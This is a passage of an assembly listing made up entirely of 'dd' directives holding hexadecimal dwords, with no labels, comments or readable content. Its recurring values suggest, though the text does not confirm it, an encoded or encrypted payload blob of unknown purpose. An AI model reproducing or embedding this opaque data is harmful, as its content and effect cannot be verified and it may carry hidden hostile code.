		dd 1F6B7F15h, 6408D1DFh, 3D8CA3h, 0DF70F49Eh, 9977CDEAh
		dd 698403E0h, 66223397h, 0DF40CB15h, 66883215h,	67CEC314h
		dd 0E5063E9Eh, 6EF836D1h, 0B1883215h, 75A8D68Fh, 56FF4E0Ch
		dd 6614DBDDh, 0E4703215h, 8F6E306Dh, 66223213h,	86EC566Eh
		dd 0DDDB965Ah, 69F8759Bh, 0A5A3E1E2h, 69AD759Bh, 8FD3EC3Ch
		dd 66443218h, 0C8373E10h, 0DB95240Fh, 1A902BB2h, 0B7CF52C7h
		dd 662221FCh, 9DA3EC15h, 5505E38h, 0F4C28EB1h, 7DC9D0B5h
		dd 9B143968h, 0E1BCCD74h, 0E560369Eh, 0A7D736D1h, 57E93AFCh
		dd 69C2CED4h, 99BB5E90h, 662CDBEAh, 9C53215h, 41DA6EC8h
		dd 1FE99E22h, 17675DB9h, 661CB21Ah, 6E613215h, 68443215h
		dd 6749ACEBh, 314885E6h, 0EF43BB46h, 9ECD69CAh,	0D92D524Ah
		dd 66943DDAh, 7883215h,	6654B17Dh, 4226BB15h, 3E3526E2h
		dd 68053D75h, 8E443215h, 6622321Dh, 0B73FA95Dh,	5855837Ch
		dd 6648DB4Ch, 49513215h, 595A6A38h, 80123BEAh, 6254F5Eh
		dd 662234FCh, 66D83915h, 69C9CAA0h, 66443094h, 77A6415h
		dd 47FCB72Ch, 0E28735FCh, 664432DDh, 662234FCh,	0C231D415h
		dd 30441F4Eh, 746C8946h, 0E7614591h, 0E50323F6h, 276BB349h
		dd 912E071Eh, 0F6D1B3CEh, 0EF82A4E1h, 0B87F69CBh, 1278DC94h
		dd 80A3447Ch, 55830BDAh, 0E78AD4D4h, 9332A0E3h,	0E0CCB366h
		dd 0EF26C762h, 6E616CE5h, 5F443215h, 13D0A244h,	697A509Ch
		dd 66882694h, 664BDB15h, 213A3215h, 92C472C4h, 1A149C2Ah
		dd 5C566B63h, 69E239A3h, 66112D90h, 6E615215h, 0B8443215h
		dd 7FBBD648h, 0D8BBB1DFh, 14D6AD4Bh, 87C1F574h,	6725DB09h
		dd 9E113215h, 0EBC8D42h, 0E70B0213h, 0F80E65DAh, 9AF6B31Ch
		dd 91D66237h, 48FD63CAh, 673A736Fh, 9F106BDAh, 6682DB4Ah
		dd 7B643215h, 0CAAB9578h, 66A0500Ah, 0D9DFCA74h, 489879B5h
		dd 5AA9CB9Ch, 62D5B331h, 6883215h, 72D8D73h, 662226FCh
		dd 61D84A15h, 0C43D90B6h, 0D42DD292h, 0C43A3D39h, 0B7D64899h
		dd 0EDE53D5h, 19D928E4h, 0E706069Eh, 661136D1h,	234EB315h
		dd 0EF986D01h, 0CBDE6CE7h, 93A4BBE0h, 8F8FDB37h, 66443201h
		dd 192281F6h, 1EAC3566h
		dd 3E218DD2h, 0D5FBA352h, 33C8B5A9h, 42E8B44h, 0B77F5558h
		dd 0B7FC6254h, 430BD44Bh, 584D0D35h, 8F7F310h, 3E851B65h
		dd 3FDE7C9Ch, 661121FCh, 2B91D015h, 8D7AF0Ah, 764A6404h
		dd 0DBAAE3E5h, 3D9A1211h, 88AADC28h, 0C4A73DFBh, 9F113215h
		dd 0BB550C94h, 0E34BEFC8h, 66223280h, 97AE3D75h, 668838FCh
		dd 0A1E64715h, 3CEF195Ch, 71C621Fh, 0DEE06347h,	3F7F9722h
		dd 0B7D5EBE2h, 3680DB94h, 0A70938C0h, 0A9742ACFh, 677BF89Ch
		dd 6613F5E7h, 3C883215h, 6642BF1Ah, 0D0423215h,	7D7B9A7h
		dd 668CDE94h, 72CD3215h, 66268831h, 0B0103215h,	0EDEE524Fh
		dd 0D3CD53D7h, 61CB10E0h, 28DAB375h, 8F87492Ah,	6644321Ch
		dd 944809D2h, 0F35A6CA2h, 0A26153B1h, 8F44323Eh, 6622321Fh
		dd 0DAA989C3h, 0FAB780CFh, 0D1ADB84Ah, 6DDCDEBh, 0AE9A4AA2h
		dd 6264B174h, 3D60369Ch, 87A701E0h, 6916DB09h, 66883396h
		dd 0AE85CE15h, 6625DB16h, 0AA763215h, 1D4580A5h, 68C23D35h
		dd 8F223215h, 6611321Ch, 0B5D4DEAAh, 0CCA8BA2h,	69F67C2h
		dd 6762E151h, 0B6A16FFDh, 0B5005238h, 0A6E3CB66h, 0B69A5205h
		dd 7356B373h, 0AE755394h, 6624B71Ah, 0E6713215h, 770BCCCh
		dd 7AA5AF9Ch, 69CB35FCh, 0F3113215h, 3E07E768h,	0EDE2E1A8h
		dd 16BA49B0h, 662CE0B2h, 69883315h, 6645A096h, 662DDB15h
		dd 9DE13215h, 0CE9740FEh, 0F561679Fh, 0E595FFA3h, 0E31E5254h
		dd 66883215h, 6644BD1Ah, 0E7433215h, 0DDAA892Bh, 20D3DAEh
		dd 69443214h, 66223395h, 8A90C715h, 66883211h, 0DF603E9Ch
		dd 66223215h, 67D6C314h, 66883215h, 0D14B524Ch,	3343CBDCh
		dd 661136A8h, 0A94EB315h, 6764635Fh, 0A9CCB3FBh, 3B31635Fh
		dd 933DBBE9h, 643DB37h,	8FDBB973h, 66113219h, 0A7DDBCBFh
		dd 0E6AF83FAh, 41AFBB43h, 8F8CB974h, 698FDB1Fh,	6644359Eh
		dd 67A53D15h, 9F113215h, 6A0301EAh, 6280B331h, 69223215h
		dd 66113395h, 0EFD9CA15h, 3F1E63D4h, 66223EFCh,	43D26615h
		dd 8D9AA224h, 0AD9670FEh, 0E62D526Bh, 6611320Eh, 6699DA75h
		dd 522A3215h, 0FF548EE1h, 877E5AFEh, 0DAA6BE23h, 3C068965h
		dd 0E5436A46h, 729836F9h, 69E86A31h, 66443099h,	31435215h
		dd 661121FCh, 5D534915h, 9A0BFA0Bh, 0C9B59F7Fh,	723C814Bh
		dd 5469A10Bh, 0E04B534Fh, 66223214h, 979419EDh,	938FDB3Ch
		dd 8F46D2D4h, 66223219h, 3B07370Fh, 0F567A1B9h,	0FEA92FB5h
		dd 5267B716h, 6BF835FCh, 13883215h, 0EF60AD12h,	4AEDE886h
		dd 0FF55198Fh, 66D3357Dh, 4240BB15h, 8F7C6A43h,	6611321Eh
		dd 220EA43Bh, 335DA81Fh, 0CBF952A7h, 3A137ECh, 718D35F5h
		dd 67768614h, 67351FDDh, 0D63C00A1h, 9A8FD270h,	7A60769Ch
		dd 8FD753EDh, 661130D8h, 668834FCh, 0C73C715h, 33EE4143h
		dd 0A390D79Ch, 66883211h, 6640DF94h, 4AA53215h,	6A986E31h
		dd 0EFDBCA31h, 6287B3F6h, 0E5223215h, 7A9636FEh, 72016E31h
		dd 0AF75C731h, 0A39B5475h, 0E91E53C1h, 66883200h, 664BBE1Ah
		dd 6CCB3215h, 90113215h, 7424F4C3h, 3610745Ah, 4BB7B902h
		dd 616DB06h, 668837FCh,	0B8B07C15h, 0D844252Dh,	6709C6Ah
		dd 0B5138D73h, 6651BE1Ah, 76CB3215h, 94113215h,	0B8F4F66Bh
		dd 74B09025h, 6C35CBD2h, 784B1FEh, 0E287302Eh, 664432A6h
		dd 662220FCh, 300A5C15h, 7A670497h, 19B4ECA9h, 192281F6h
		dd 37AC3566h, 6688367Dh, 0AC456B15h, 0DD71C74Ch, 66113214h
		dd 9FD3EB14h, 7045BF2Eh, 0E32D35FCh, 99EECDD5h,	6684B31Ah
		dd 0EF4B3215h, 66223213h, 6611BF1Ah, 8EE83215h,	6644321Dh
		dd 0B0729F78h, 246B9BDh, 7D36943h, 6644327Dh, 4226B915h
		dd 6615F694h, 0E2873215h, 6644320Dh, 662221FCh,	0AAB65815h
		dd 11521965h, 8BBC335Bh, 0CA52C550h, 78571B81h,	2BD2BF98h
		dd 6CAD35FCh, 0EF223215h, 0AC828B87h, 504EA2D0h, 69A5CD9Eh
		dd 66223C91h, 6618DB15h, 3D793215h, 6CE4D82Dh, 0EF2CC79Bh
		dd 8F1FAF98h, 7203CA12h, 83CD6731h, 6626F794h, 0A3923215h
		dd 42A4B511h, 70CD3D49h, 6223215h, 661139FCh, 12F7D915h
		dd 0DACD25DBh, 67CFAEA0h, 0F4BE8B73h, 42BCCD74h, 6280B14Ch
		dd 4D8675h, 78C78ADh, 66E63A7Dh, 4270BB15h, 6623B61Ah
		dd 0EDE83215h, 8F82DB88h, 0EB4B5212h, 66223213h, 878EE894h
		dd 0DCEE4D2Ah, 99252C1Dh, 4216B326h, 22CB3579h,	0E7AC3E9Eh
		dd 664436D1h, 0AD3B315h, 6955E812h, 66883E9Dh, 60CD3D15h
		dd 69223215h, 66113292h, 0D1875215h, 0E3CF53E3h, 61CB3C88h
		dd 66113EFCh, 1FE6D915h, 8E0F613Ah, 7D331F8Bh, 8FF1E326h
		dd 66883207h, 1E45FCE3h, 7DF538AEh, 0DC2FAA9Ch,	564F812Dh
		dd 0E3479AA0h, 61CB3008h, 6E703EDh, 6685DB75h, 54D63215h
		dd 0A8BB41ACh, 0C7B76BF7h, 76032F3h, 7858D1Ah, 62CEB145h
		dd 3E35069Ch, 0CBEECE4Bh, 8685CAECh, 6627DB17h,	6B273215h
		dd 6AD7AF8h, 79CB973h, 5267B716h, 0E91E35FCh, 66883214h
		dd 57B403E9h, 6D203D3h,	0ED7705A1h, 692553E4h, 66443B9Ch
		dd 0C39D5215h, 31005B9Ah, 6C8D534Fh, 4B29823Ch,	6C302C31h
		dd 4214FA14h, 4B82200Bh, 0BF41B1Fh, 6629B11Ah, 60F83215h
		dd 70883215h, 0FB31DC04h, 4216B934h, 0E7F0BB44h, 668836D4h
		dd 6285B115h, 3A063E92h, 66113EFCh, 4CA91615h, 4B4189ACh
		dd 0E7A6E853h, 67ACB175h, 678FDB09h, 66F0B61Ah,	5DDB3215h
		dd 8F375B98h, 0C10C3D12h, 6443215h, 2A979DAAh, 0ADAE3D35h
		dd 0D3050974h, 6943DB03h, 6622A391h, 0EB2AC715h, 61610668h
		dd 66C0B61Ah, 69423215h, 66113192h, 98035415h, 6642B71Ah
		dd 0EA2D3215h, 66113215h, 6A083D74h, 69443215h,	66223492h
		dd 66993D15h, 0EB883215h, 97324588h, 0DD755212h, 68CD3550h
		dd 64003D4Dh, 31443215h, 0B5DD534Ch, 5A9A62EDh,	624CB131h
		dd 664423FCh, 0F1CF7015h, 352485FAh, 5478693Ch,	84002CCAh
		dd 0DD4206B2h, 0F7EC413h, 0EFE9FA9Fh, 8F4B1390h, 6FA23D12h
		dd 6113215h, 6688B71Ah,	7B13215h, 663D89FCh, 0FB9CC715h
		dd 61794462h, 664421FCh, 0F3AA2715h, 0B1ACC6D6h, 0A27AEB71h
		dd 0C90D0165h, 30503285h, 6FF8E1EAh, 49883215h,	45AD4371h
		dd 2197BB3Bh, 7A108F96h, 698835FCh, 66440891h, 0E319CE15h
		dd 61F806A4h, 66AFB61Ah, 0E84B3215h, 66223218h,	66113AFCh
		dd 4A754A15h, 7B6D6F5h,	67AB3D84h, 9E113215h, 7D3DB72Eh
		dd 0E34B35FCh, 66223212h, 9920DBE9h, 5D7DCDEAh,	8F710B90h
		dd 0AA73D12h, 6113215h,	668AB11Ah, 88F73215h, 662235FDh
		dd 4792E515h, 310F6D5Ah, 39BAB973h, 0F9FB174h, 6616DB0Eh
		dd 6691B61Ah, 0E5BC3215h, 8F3827A8h, 0E21E3212h, 66883222h
		dd 664434FCh, 6CD5ED15h, 0EB90E4DEh, 962E6C90h,	0BEADCB12h
		dd 69DDCDEBh, 66113399h, 0E687CE15h, 66443206h,	66223CFCh
		dd 0F9001B15h, 245BAB5Bh, 0EA3E99BFh, 5D1023A7h, 8F240B90h
		dd 0CA0C3D12h, 8FBBCDEBh, 6622321Fh, 0FFE15A23h, 0F75BE4C8h
		dd 0DBC72A26h, 61D32549h, 50943D14h, 9F883215h,	0F6C109ECh
		dd 6925C302h, 66111A90h, 0E7EE5215h, 698178F2h,	643FDAAh
		dd 0B79F47ABh, 0B609546Ah, 0EB251D8Ah, 3F29D690h, 1CF8CA15h
		dd 677CDEBh, 0B2CEE89Eh, 69DD0374h, 66113497h, 3DDE5215h
		dd 0E525E49Eh, 8F0BD7A8h, 0E21E3212h, 6688237Bh, 664439FCh
		dd 9702CB15h, 1D2B3B4Ah
		dd 1A13B432h, 7138B72Eh, 0E32D35E4h, 66113222h,	6F0DB9EDh
		dd 643DB1Ah, 662226FCh,	2C750015h, 9AB56747h, 65F19FE5h
		dd 7F2BFE9Bh, 0D150C4Fh, 0BD0954B2h, 3325CAB5h,	662233A8h
		dd 3BFE3315h, 6689B81Ah, 5DBC3215h, 9735B690h, 24943D12h
		dd 69883215h, 66442A9Fh, 6631DB15h, 0A0FB3215h,	0BA68C65Dh
		dd 55B03B24h, 0DADFBA18h, 92619DBCh, 630DB9BDh,	643DB1Dh
		dd 0FCEDB373h, 0B1905470h, 35E99406h, 99BBCDAEh, 3DFD1BEAh
		dd 8BA95475h, 7167B269h, 0E6C10974h, 6925C302h,	6611A190h
		dd 72605215h, 9F443215h, 0E44A1A7Ah, 48FFBA9Dh,	0E1FCF47Bh
		dd 0CD23C587h, 31AA0114h, 0EB1E6B4Fh, 66883217h, 8F25A1A0h
		dd 66223212h, 83D8E476h, 0ED1BE73Ch, 8F521390h,	0FE9B5212h
		dd 8E4B3C94h, 66883205h, 756DC92Bh, 0A3A58F31h,	413AE9DEh
		dd 3E3C7BA3h, 71C6B42h,	74A53D75h, 8F113215h, 66883218h
		dd 3AAE6EC0h, 2CE171E4h, 0E0670152h, 0DFD95331h, 99BBCDEAh
		dd 8F7BFD3Ch, 66113201h, 0E738E382h, 0AA52A001h, 393F78A4h
		dd 8AB6F890h, 0D6587CF1h, 71CCB72Eh, 0E32D35E4h, 6611324Ch
		dd 6685DB75h, 3BE73215h, 9FD6AD82h, 1A05E9A3h, 0B6931Bh
		dd 8F25C29Eh, 66223206h, 0D44D0F60h, 9C571CD4h,	0C6812812h
		dd 0C10B358Ah, 0ED94CB50h, 8F936390h, 0DD17CE12h, 66223214h
		dd 694AED14h, 6688269Dh, 68C23D15h, 8F223215h, 6611321Ch
		dd 48705E58h, 203C3405h, 0EAA709AAh, 6916C302h,	66882D90h
		dd 0E3CFCA15h, 61CB3A34h, 6610BA1Ah, 9E7D3215h,	66458C43h
		dd 91233215h, 67943D4Bh, 93883215h, 71D4B72Eh, 0E32D35E4h
		dd 66113250h, 0EDE9CE75h, 8F5E9790h, 6625DB12h,	0A0723215h
		dd 3197B5C2h, 6649DB9Dh, 98503215h, 5EC1B40Fh, 8FF05D9Ch
		dd 361A5B21h, 99DDCDADh, 3ED61BEAh, 668822FCh, 7B7D4515h
		dd 0A3F93F19h, 6FC9D0D2h, 29DBC1E8h, 0F2C10944h, 6925C302h
		dd 66110C90h, 0E303CE15h, 61AD1C98h, 63A53D75h,	0DE113215h
		dd 2DE72688h, 6641BD1Ah, 0E7443215h, 7AFA2D2h, 15FC8847h
		dd 94C532C3h, 66F44160h, 8F4BE514h, 6688321Eh, 377A43C6h
		dd 6E89E27Ah, 5D576D1Dh, 979FAA90h, 2FC13D12h, 6223215h
		dd 6618DAE0h, 6A0B3215h, 4C5D0B2Eh, 0EDF644D4h,	0ED7068E4h
		dd 8F9DBB90h, 67CD3D12h, 93223215h, 99EE8946h, 0B9A1CDEAh
		dd 7FC23D4Eh, 69223215h, 6611219Dh, 6686DB15h, 74973215h
		dd 0AB2F9C9h, 0CD32E658h, 8E172968h, 71D8B72Eh,	0E32D35E4h
		dd 6611322Bh, 0E3035375h, 61AD29F0h, 662FDB75h,	5033215h
		dd 67110E73h, 0C0081504h, 8E583DABh, 66113210h,	0D7304448h
		dd 3C25526Bh, 4AA16574h, 8F4ECD31h, 6688321Fh, 0FD45715Ah
		dd 42032464h, 0E32A388Eh, 617925B5h, 6671B71Ah,	6423215h
		dd 6611BA1Ah, 7743215h,	78B851Ah, 53B7B79Eh, 34E835FCh
		dd 668833AFh, 3C933315h, 662220FCh, 8EB12A15h, 4F06C488h
		dd 5D26CB9Dh, 7581F432h, 5D95B5D3h, 979F9A90h, 5C13D12h
		dd 8F223215h, 6611321Dh, 419FDE3Dh, 9EF01B77h, 7F13B79Eh
		dd 0E01E35FCh, 66883206h, 66443CFCh, 82264315h,	66B734B3h
		dd 0A0A5B7BDh, 8F29AF9Ch, 66223206h, 84C6C939h,	0C56A5A9Dh
		dd 0B100BB1Ah, 0DEAC65F0h, 3460E90Ch, 668833AFh, 3C933315h
		dd 662DBA1Ah, 6CF83215h, 0D8883215h, 739E8329h,	2D529E59h
		dd 0E32ACB02h, 617925B1h, 6629B71Ah, 0E72D3215h, 66113212h
		dd 6689BD1Ah, 0E5B13215h, 8F0637A8h, 0E31E3212h, 66883246h
		dd 0E7225275h, 6AF54C5h, 7E45374h, 4D9DB79Eh, 692435FCh
		dd 66223495h, 669D3D15h, 8F883215h, 66443201h, 0B18C7A45h
		dd 0FB991FCAh, 7F9FE43h, 0A77E7DC3h, 0D959C073h, 67AA6174h
		dd 67883215h, 0E64B69CAh, 6622321Eh, 661134FCh,	0C80FF15h
		dd 0E555D754h, 8F0D1BA8h, 0E21E3212h, 66883259h, 66443AFCh
		dd 0A75FDB15h, 47CD4252h, 560D09E7h, 6943C30Dh,	66220190h
		dd 661ADB15h, 0A2A83215h, 6E74D63Bh, 0C4116102h, 5B94B970h
		dd 68FDB3Fh, 66C13D75h,	223215h, 0CD2DC94h, 0A3325474h
		dd 0DE14537Ah, 99DDCDEAh, 9F49F53Ch, 6EF58F96h,	694435FCh
		dd 66200891h, 0DB92CE15h, 61613E08h, 4AC03D15h,	6223217h
		dd 9AD9B373h, 640F3DD7h, 0ED443215h, 0E31953E7h, 61E02A01h
		dd 66B4B71Ah, 0EB4B3215h, 6622321Fh, 69138775h,	66883299h
		dd 0E44B5315h, 66223214h, 0EB94B9ECh, 9A8FDB1Ah, 99BB8F40h
		dd 890BCDEAh, 6601DB48h, 1B093215h, 6B7A477Ch, 36FD1670h
		dd 0B9C69C5Dh, 0E3B3BA38h, 61B52A31h, 666BB71Ah, 6ED3215h
		dd 0E06AB373h, 330389BAh, 0ED434EBEh, 8F3F4390h, 760B3D12h
		dd 8F443215h, 6622321Eh, 0E73FF937h, 0C6067DFFh, 3449B9DBh
		dd 9603F8AFh, 0E7CBC528h, 57CA25E7h, 0E706705Bh, 2279AEF7h
		dd 67E3B30Eh, 6780360Dh, 5DB168C2h, 973A2A90h, 51943D12h
		dd 6883215h, 0C987B344h, 3C77A0C0h, 0A6A63D42h,	0E303534Ah
		dd 61AD2D70h, 0F39860EDh, 0A7186A12h, 0A40930F7h, 2DFB17FAh
		dd 94A3E0E2h, 52D54527h, 0AA07C094h, 0B1458831h, 0E319CA4Fh
		dd 61E02A3Dh, 66FAB71Ah, 0E74B3215h, 66223201h,	66113DFCh
		dd 9C70315h, 84C2BEBBh,	0C3B5C1F4h, 414B9A9Ah, 6DA1B79Eh
		dd 8E2435FCh, 6622321Bh, 0A083D695h, 5FD8A4B5h,	8B959885h
		dd 0A0A91531h, 0D91E524Ah, 0CC59B3EFh, 71CA734h, 909F6774h
		dd 0E718E215h, 0ED90DFD8h, 0BBB37F64h, 8121C794h, 8910B431h
		dd 669ADB48h, 0F9623215h, 9CCC0E18h, 0D61B88B5h, 394ACAF5h
		dd 9B576285h, 7E0EB72Eh, 0E31E35E4h, 6688322Dh,	0C3C1B9EDh
		dd 8F25DB0Bh, 66113207h, 0FBF46BEDh, 0DB746DB7h, 0E0BDEBAEh
		dd 83D1ADD6h, 33744E7Fh, 664433A8h, 3BCD3315h, 661139FCh
		dd 0FDE5BB15h, 0A07CC588h, 0ACCE43Bh, 7E0DB72Eh, 0E38735E4h
		dd 66443224h, 0F7A7B9E9h, 616DB12h, 668834FCh, 6C8AC315h
		dd 695B0959h, 6611369Bh, 0B4315415h, 0B9C353BEh, 6623F194h
		dd 0B9963215h, 0A1335475h, 0B5CF546Ah, 46A70974h, 6916C30Dh
		dd 66880090h, 0E3CFCB15h, 61CB1DD4h, 6618B21Ah,	0DEE83215h
		dd 3B482129h, 0E1436C46h, 304674E2h, 76616C4Ah,	0A0443215h
		dd 80BDCB6Ah, 0D84FD2B3h, 2C686062h, 0E5E14773h, 8F2E2FA8h
		dd 0E21E3212h, 6688389Bh, 69658175h, 6622379Bh,	78D08B15h
		dd 5DE94DB5h, 97539E90h, 4DA73D12h, 9E113215h, 6699B79Eh
		dd 692435FCh, 66223E95h, 6616DB15h, 0E5D33215h,	9B992490h
		dd 46EDB36Ah, 71597B1h,	99778A45h, 0A16DCDEAh, 0E319CA4Dh
		dd 61E02A55h, 66E3B71Ah, 69243215h, 66223090h, 8E1A8315h
		dd 66883207h, 79D2DB1Fh, 0B21AE7B9h, 0A5068AB9h, 57C0CBEBh
		dd 0E84B40A8h, 66223215h, 6FF8534Eh, 0B8883215h, 0EF07252Dh
		dd 467C65h, 7AA8B79Eh, 35E835FCh, 1FA9A5h, 7B401ABh, 0B8C88C75h
		dd 800869B0h, 0DF15533Fh, 99DDCDEAh, 648FD3Ch, 6682DBE0h
		dd 83F43215h, 5B80290Fh, 0F2FF3C86h, 0D60D0974h, 6943C302h
		dd 66227290h, 689F3D15h, 6883215h, 6644B01Ah, 94A33215h
		dd 2AB547C0h, 9F0DB974h, 643DB13h, 66223EFCh, 9EC7F15h
		dd 0B7011079h, 0C7B616A7h, 0B59D3D6Fh, 0E8AB6074h, 0E79BF21Ch
		dd 59B241D7h, 3CF533F9h, 0D29409EDh, 698FC302h,	66440890h
		dd 69A83D15h, 8F113215h, 6688321Fh, 0A0876DBEh,	0D6CCE0A2h
		dd 0E39ABE51h
		dd 61612EB0h, 6645BA1Ah, 30DE3215h, 99EECDABh, 387F1BEAh
		dd 0A0C55475h, 0E72D64D4h, 66113217h, 5DE956A1h, 97538A90h
		dd 24A73D12h, 8F113215h, 66883205h, 742EE989h, 0BD7A2F38h
		dd 382D6F33h, 0A0E46137h, 49C5B79Eh, 694235FCh,	66112095h
		dd 6685DB15h, 5DD73215h, 0C2F14903h, 0E2F8DAB9h, 0BA025Bh
		dd 3425F89Eh, 99DDCDAFh, 3CC61BEAh, 0DA0D09E9h,	6943C302h
		dd 66224390h, 759E3D15h, 8F883215h, 6644321Bh, 67468DB9h
		dd 68AA5E23h, 741F9833h, 0DBC756EDh, 61CB1610h,	2D943D15h
		dd 6883215h, 6641B41Ah,	0E7443215h, 9FD1AFE7h, 570DB974h
		dd 6943DB0Fh, 66223E93h, 609E3D15h, 69883215h, 66443292h
		dd 6DCB5215h, 0B0113215h, 0A725B693h, 9FC9C182h, 82A251E8h
		dd 0DD42536Dh, 66883214h, 61FED14h, 0ED4406A4h,	0E32A53DAh
		dd 617925D5h, 660BB71Ah, 0EC2D3215h, 66113212h,	6689B91Ah
		dd 0EDBC3215h, 8F020790h, 0A7905212h, 79924981h, 3025EFA4h
		dd 11757EABh, 65F7F309h, 8809E4E2h, 7A0177B5h, 8F7CC53Ch
		dd 6611321Fh, 948135AAh, 719FF581h, 6CCB3D19h, 0A0113215h
		dd 98E85DF4h, 51C0F2EDh, 0A2A70976h, 6916C302h,	66884490h
		dd 664EDB15h, 0FF173215h, 0B87886BDh, 2595140Eh, 42418F96h
		dd 692235FCh, 66116890h, 6687DB15h, 63973215h, 0EBCB61E0h
		dd 7229A792h, 1FA70DEEh, 37C1B92Bh, 6925DB25h, 66113897h
		dd 0E2875215h, 66443215h, 8F43E89Fh, 66113210h,	5E2207Ch
		dd 66FD636Bh, 0A74EE05Fh, 0E75834FCh, 5A9F3EF4h, 0A9ADB34Eh
		dd 0E75D6E24h, 0B5DE06FCh, 3F473394h, 6645BB1Ah, 5DDB3215h
		dd 9706FA90h, 330D3D12h, 6443215h, 66223EFCh, 0D82A8915h
		dd 2872C65Fh, 18DD311Bh, 7F68634h, 6F40B79Eh, 8FE835FCh
		dd 66443218h, 0F16D5BC2h, 4CA8E934h, 0FC1DEB74h, 61AD630Fh
		dd 7F223215h, 29AECF88h, 7D3DE18h, 99BB8A45h, 0A10BCDEAh
		dd 6F9A3D4Dh, 6883215h,	0E722B6A0h, 71ED9F4h, 71DDB72Eh
		dd 0E38735E4h, 6644322Eh, 6631DB75h, 0D4B33215h, 0C808E1C2h
		dd 1E0C48CAh, 77F4E93Dh, 80BE9D3Bh, 0E30353A3h,	61AD1FD0h
		dd 0DFA5AE9h, 5A983215h, 428CCD31h, 6EC93D4Ah, 6223215h
		dd 0E685D595h, 5DE9A2D1h, 9753E690h, 5A73D12h, 6113215h
		dd 0BC28D6AEh, 0E525C76Bh, 8F0637A8h, 0E31E3212h, 6688325Bh
		dd 0B7C45275h, 7435223h, 3DA95447h, 6E96D03h, 664437FCh
		dd 2134DD15h, 0E77761DAh, 768ABC6h, 7BE9B79Eh, 0E82D35FCh
		dd 66113214h, 993062ECh, 4FBBCDEAh, 0EA2D6AD2h,	66113207h
		dd 66883FFCh, 3D04A515h, 201CDCCh, 8E78B4F0h, 0E3B3A489h
		dd 61B525C5h, 6641B71Ah, 713215h, 35C8D994h, 0E5256845h
		dd 8F0637A8h, 0E31E3212h, 66883258h, 66443EFCh,	0D5679315h
		dd 0B2517857h, 1B9ED7A1h, 23C1B98Dh, 6925DB12h,	66112794h
		dd 6698DB15h, 0B60F3215h, 0A68AA7E2h, 57BFC841h, 0EE25E73Eh
		dd 0DD17B708h, 73DC1E27h, 9119D9D4h, 4D7BB3CEh,	4F4427EBh
		dd 0EC2D69CAh, 66113214h, 0BE0D09ECh, 6943C302h, 66221190h
		dd 67943D15h, 9E883215h, 6C79B79Eh, 0E7DE35FCh,	661136F9h
		dd 42B4BB15h, 396036EAh, 6623BB1Ah, 93ED3215h, 7154B72Eh
		dd 0E34B35E4h, 6622322Ch, 6617B01Ah, 0D3E83215h, 74883BFh
		dd 665FB79Eh, 69F835FCh, 0C2883215h, 0CDF912C0h, 8FE1CAD2h
		dd 0F29754C8h, 0D8DE319Eh, 0EFF5179h, 0E727D4D4h, 0A7CB3FBh
		dd 387F1B02h, 86C109EDh, 6925C302h, 66110F90h, 0F2365215h
		dd 0E6211E7Eh, 0ED43AFC5h, 8F0B5B90h, 0A9085212h, 797B861h
		dd 99DD8946h, 0B938CDEAh, 6B60524Eh, 0FA443215h, 4E6D8683h
		dd 84129BDDh, 3A05EE69h, 0E71C5375h, 2F538CDDh,	0E32A532Fh
		dd 617925F1h, 6674B71Ah, 6BCB3215h, 96113215h, 7A16BB6Ch
		dd 1B789848h, 78A5C223h, 7B5CB79Eh, 0EA8735FCh,	66443214h
		dd 679961ECh, 67113215h, 69E869CAh, 0D14BEAAAh,	0E31953DBh
		dd 61E025FDh, 66BAB71Ah, 0EB4B3215h, 66223204h,	66113EFCh
		dd 2AE45315h, 70D0F160h, 9FB93B9Bh, 0CF94B996h,	938FDB1Eh
		dd 66458A45h, 0A1233215h, 0EF1E524Dh, 66883215h, 796851Ah
		dd 71CEB72Eh, 0E31E35E4h, 66883251h, 664FDB75h,	0FE343215h
		dd 550D4650h, 47AED520h, 6641DB81h, 0AEA13215h,	762862Fh
		dd 7989B79Eh, 6EAD35FCh, 0B9223215h, 2BB8881Ch,	316AA6BAh
		dd 67603696h, 6628DB4Ah, 0FB593215h, 52EE9983h,	46CAFDD9h
		dd 71D2B72Eh, 0E31E35E4h, 6688325Bh, 664BDB75h,	0F1263215h
		dd 0BDEB39A9h, 7E92E28Dh, 57D32DD2h, 0ED43CAE7h, 8F09CF90h
		dd 669ADB12h, 0A9C53215h, 0B35E6378h, 0E292FEDDh, 0D653605Dh
		dd 0A6429ABEh, 42CE8F40h, 8390354Fh, 0CF12382h,	993FF794h
		dd 890BCFB2h, 0B89A5248h, 0E3B353ECh, 61B525E1h, 6669B71Ah
		dd 77F83215h, 6C883215h, 335824B7h, 0F5770232h,	2B6E0F3h
		dd 2CAE9C7Ch, 70BDB79Eh, 0E02D35FCh, 6611321Eh,	9C035475h
		dd 6644BD1Ah, 69433215h, 66113A96h, 0BA085215h,	0A9FB3D8Dh
		dd 999B6374h, 4FEECDEAh, 0E2876BDAh, 66443214h,	1FA709ECh
		dd 6916DB0Eh, 66880D90h, 0E7225215h, 0E73099C6h, 0E2BC13CBh
		dd 0E3035344h, 61AD3DCCh, 662222FCh, 0B5CF0315h, 254EF5CCh
		dd 0FF6EB37Bh, 0E366F562h, 67AA6154h, 67883215h, 6EAD69CAh
		dd 97223215h, 0B3277ADDh, 9F03C29Fh, 71BCB72Eh,	0E32D35E4h
		dd 6611327Eh, 0E30DB9E9h, 643DB09h, 68CAC89Eh, 0F4113215h
		dd 0A26AC96Ch, 8640CF75h, 0A318E9D9h, 85905415h, 7D3E7F2h
		dd 6656DA75h, 65AF3215h, 0B037B0F3h, 0F78018A3h, 8282EC8Fh
		dd 0D497805Dh, 66113AFCh, 0D23E2A15h, 0D78B27BAh, 0DC44685Eh
		dd 3370CDB8h, 668833A8h, 3BAB3315h, 66223CFCh, 0ED843215h
		dd 99FC4C37h, 0C5509201h, 5DD4DE0Ch, 97090690h,	90D3D12h
		dd 8F443215h, 66223218h, 7A62941Eh, 9D953C15h, 9B552593h
		dd 0DBA1C79Eh, 61E02A29h, 400D3D15h, 6443215h, 63CAF49Fh
		dd 0D4113215h, 0FA622E68h, 46ADB373h, 0E54369D9h, 8F0D33A8h
		dd 0E2873212h, 6644323Bh, 58F4B275h, 0BB94B974h, 68FDB34h
		dd 69BAB973h, 66223C9Ch, 6618DB15h, 0F2043215h,	6397F85Ch
		dd 7CB61E0h, 99EE8B44h,	0A9A1CDEAh, 0E37FCE4Ch,	61D32A2Dh
		dd 66BFB71Ah, 8EE83215h, 66443218h, 8C0356CAh, 5C04F2FAh
		dd 90EEFF6Ah, 61148A34h, 69793514h, 66113796h, 0C5E28B15h
